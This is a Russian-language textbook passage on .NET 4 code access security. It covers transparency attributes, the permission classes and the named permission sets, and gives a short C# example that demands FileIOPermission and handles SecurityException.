Сборку можно снабжать атрибутом SecurityRules и устанавливать для него значение SecurityRuleSet.Level2 для применения нового уровня прозрачности, который доступен в.NET 4. (По умолчанию в.NET 4 используется именно этот уровень.) Для обеспечения обратной совместимости для него следует установить значение Level1:

В случае применения атрибута SecurityTransparent вся сборка не будет делать ничего привилегированного или небезопасного. Она сможет только вызывать какой-то прозрачный или безопасный код. Применять этот атрибут допускается только на уровне всей сборки.

Атрибут AllowPartiallyTrustedCallers позволяет сделать код чем-то средним между прозрачным кодом и кодом остальных категорий. В случае применения этого атрибута код по умолчанию интерпретируется как прозрачный, но отдельные типы или члены внутри него могут иметь и другие атрибуты:

Если не применен ни один из этих атрибутов, код считается критическим для безопасности. Однако при желании в нем можно применить атрибут SecuritySafeCritical к отдельным типам и членам и тем самым сделать их пригодными для вызова из прозрачного кода:

Полномочия

В случае выполнения кода внутри песочницы указывать, что коду разрешено делать, можно в самой песочнице за счет определения полномочий.NET. Если приложениям, запущенным в настольной среде, предоставляется полный набор полномочий, который позволяет им предпринимать любые действия, то приложениям, выполняющимся в песочнице, предоставляется лишь набор полномочий, который главная среда (хост) передает песочнице и который позволяет выполнять лишь определенные действия. Можно также определять полномочия для домена приложений, запускаемого из настольных приложений. Для этого должен использоваться API-интерфейс Sandbox .

Под полномочиями, или разрешениями, понимаются действия, которые разрешается (или запрещается) выполнять каждой группе кода. Например, полномочия могут включать в себя "чтение файлов из файловой системы", "выполнение операций записи в Active Directory" и "использование сокетов для открытия сетевых соединений". Есть несколько предопределенных полномочий, и можно также создавать собственные.

Полномочия.NET не зависят от разрешений операционной системы. Полномочия.NET просто проверяются исполняющей средой. Сборка требует выдачи полномочия для выполнения определенной операции (например, класс File требует выдачи полномочия FileIOPermission), а среда CLR проверяет, чтобы сборке было выдано необходимое полномочие, и она могла продолжить свою работу.

Перечень полномочий, которые могут применяться к сборке и запрашиваться из кода, является очень длинным и многоуровневым. Ниже перечислены лишь некоторые из предоставляемых CLR классов полномочий, чтобы продемонстрировать, насколько высокую степень контроля над кодом с их помощью можно обеспечить:

DirectoryServicesPermission

Позволяет управлять возможностью получать доступ к Active Directory с помощью классов System.DirectoryServices.

DnsPermission

Позволяет управлять возможностью использования DNS (Domain Name System - служба имен доменов).

EnvironmentPermission

Позволяет управлять возможностью выполнять чтение и запись в переменных среды.

EventLogPermission

Позволяет управлять возможностью выполнять операции чтения и записи в журнале событий.

FileDialogPemission

Позволяет управлять возможностью получать доступ к файлам, которые пользователь выбирает в диалоговом окне Open (Открыть). Обычно такое полномочие применяется в случае невыдачи полномочия FileIOPermission для предоставления хотя бы ограниченного доступа к файлам.

FileIOPermission

Позволяет управлять возможностью работать с файлами (чтение, запись и добавление в файлы, а также создание, изменение и доступ к папкам).

IsolatedStorageFilePermission

Позволяет управлять возможностью доступа к приватным виртуальным файловым системам.

IsolatedStoragePermission

Позволяет управлять возможностью доступа к изолированным хранилищам, т.е. хранилищам, ассоциируемым с отдельными пользователями и имеющими какие-то идентификационные данные в коде.

MessageQueuePermission

Позволяет управлять возможностью использования очереди сообщений через службу Microsoft Message Queue.

PerformanceCounterPermission

Позволяет управлять возможностью использования счетчиков производительности.

PrintingPermission

Позволяет управлять возможностью выполнения печати.

ReflectionPermission

Позволяет управлять возможностью обнаружения информации о типах во время выполнения с использованием класса System.Reflection.

RegistryPermission

Позволяет управлять возможностью чтения, записи, создания и удаления разделов и параметров в системном реестре.

SecurityPermission

Позволяет управлять возможностью выполнения, подтверждения полномочий, вызова неуправляемого кода, пропуска процесса верификации, а также выдачи других прав.

ServiceControllerPermission

Позволяет управлять возможностью осуществлять управление службами Windows.

Socket Permission

Позволяет управлять возможностью создания или приема соединений TCP/IP по сетевому транспортному адресу.

SQLClientPermission

Позволяет управлять возможностью доступа к базам данных SQL Server с помощью предусмотренного в.NET поставщика данных для SQL Server.

С помощью каждого из этих классов полномочия часто удается задавать даже еще более точно. Например, класс DirectoryServicesPermission позволяет проводить разграничение между полномочиями на выполнение операций чтения и на выполнение операций записи, а также указывать, к каким именно записям в службах каталогов должен быть разрешен или запрещен доступ.

Наборы полномочий

Под наборами полномочий понимаются коллекции разрешений. Они избавляют от необходимости применять к коду каждое разрешение отдельно и позволяют группировать необходимые разрешения и применять их к коду сразу вместе. Например, сборка с набором полномочий FullTrust будет иметь полный доступ ко всем ресурсам, а сборка с набором полномочий Local Intranet - лишь ограниченный с возможностью выполнения операций записи только в изолированном хранилище и больше нигде в файловой системе. Допускается создавать собственные наборы полномочий, включающие только определенные разрешения.

Назначение полномочий группам кода избавляет от необходимости иметь дело с одиночными полномочиями и позволяет применять полномочия сразу целыми блоками, для чего в.NET и предусмотрена концепция наборов полномочий. Эти наборы, по сути, представляют собой списки предоставляемых коду прав, объединенные в именованный набор. Ниже приведено краткое описание семи именованных наборов полномочий, которые поставляются в.NET изначально:

Тип полномочия Описание
FullTrust Подразумевает отсутствие всяких ограничений в полномочиях.
SkipVerification Подразумевает обход верификации.
Execution Позволяет коду выполняться, но не получать доступ ни к каким защищенным ресурсам.
Nothing Не предоставляет коду никаких полномочий и не позволяет ему выполняться.
Local Intranet Предоставляет лишь подмножество из полного набора полномочий. Например, операции файлового ввода-вывода ограничиваются возможностью доступа только для чтения к общему ресурсу, который является источником сборки. В.NET 3.5 и более ранних выпусках (до появления.NET 3.5 с пакетом обновлений SP1) этот набор полномочий применялся в случае выполнения приложения из сетевого общего ресурса.
Internet Предусматривает использование стандартной политики безопасности для кода неизвестного происхождения. Из всех перечисленных наборов полномочий этот является самым ограниченным. Например, коду, выполняющемуся в рамках этого набора полномочий, не разрешены ни файловые операции ввода-вывода, ни операций чтения и записи журнала событий, ни операции чтения и записи переменных среды.
Everything Предусматривает выдачу всех перечисленных выше полномочий за исключением SkipVerification. Администратор может изменять любое из полномочий в этом наборе. Это удобно, если необходимо ужесточить стандартную политику безопасности.

Важно обратить внимание на то, что изменять определения полномочий можно только в наборе Everything (Все); остальные наборы являются фиксированными и изменяться не могут. Разумеется, можно создавать и собственные наборы полномочий.

Запрос полномочий программным образом

Сборка может запрашивать полномочия как декларативным, так и программным образом. В следующем фрагменте кода показано, как запрашивать полномочия с помощью метода DemandFileIOPermissions(). После импорта пространства имен System.Security.Permisions можно выполнять проверку на предмет наличия необходимых полномочий, создавая объект FileIOPermission и вызывая его метод Demand().

Этот метод позволяет проверить, есть ли у кода, вызывающего метод, в данном случае - DemandFileIOPermissions, необходимые полномочия. Если метод Demand() завершается неудачей, генерируется исключение типа SecurityException. Это исключение можно не перехватывать, и предоставлять его обработку вызывающему коду.

Using System; using System.Security; using System.Security.Permissions; using System.IO; namespace Wrox.ProCSharp.Security { public class DemandPermissions { public void DemandFileIOPermissions(string path) { var fileIOPermission = new FileIOPermission(PermissionState.Unrestricted); fileIOPermission.Demand(); //... } } }

Класс FileIOPermission содержится внутри пространства имен System.Security.Permisions, в котором определен полный набор полномочий, а также классы для декларативных атрибутов полномочий и перечисления для параметров, применяемых для создания объектов полномочий (например, создания объекта FileIOPermission, указывающего, требуется доступ только для чтения или же полный доступ).

Для перехвата исключений, генерируемых исполняющей средой CLR, когда код пытается выполнить какие-то противоречащие выданным ему полномочиям действия, можно организовать перехват исключения типа SecurityException. Это исключение предоставляет доступ к набору полезных фрагментов информации, в том числе читабельной трассировке стека (SecurityException.StackTrace) и ссылке на метод, который привел к выдаче исключения (SecurityException.TargetSite). Вдобавок SecurityException предоставляет свойство SecurityException.PermissionType, которое возвращает информацию о типе объекта Permission, вызвавшего генерацию исключения.

В случае применения только классов.NET для операций файлового ввода и вывода самостоятельно запрашивать FileIOPermission не обязательно, поскольку классы.NET, позволяющие производить такие операции, умеют делать это сами. Однако при создании оболочек для вызова собственных методов API-интерфейса, таких как CreateFileTransacted(), его нужно запрашивать самостоятельно. Этот механизм также можно применять для запроса специальных полномочий у вызывающего кода.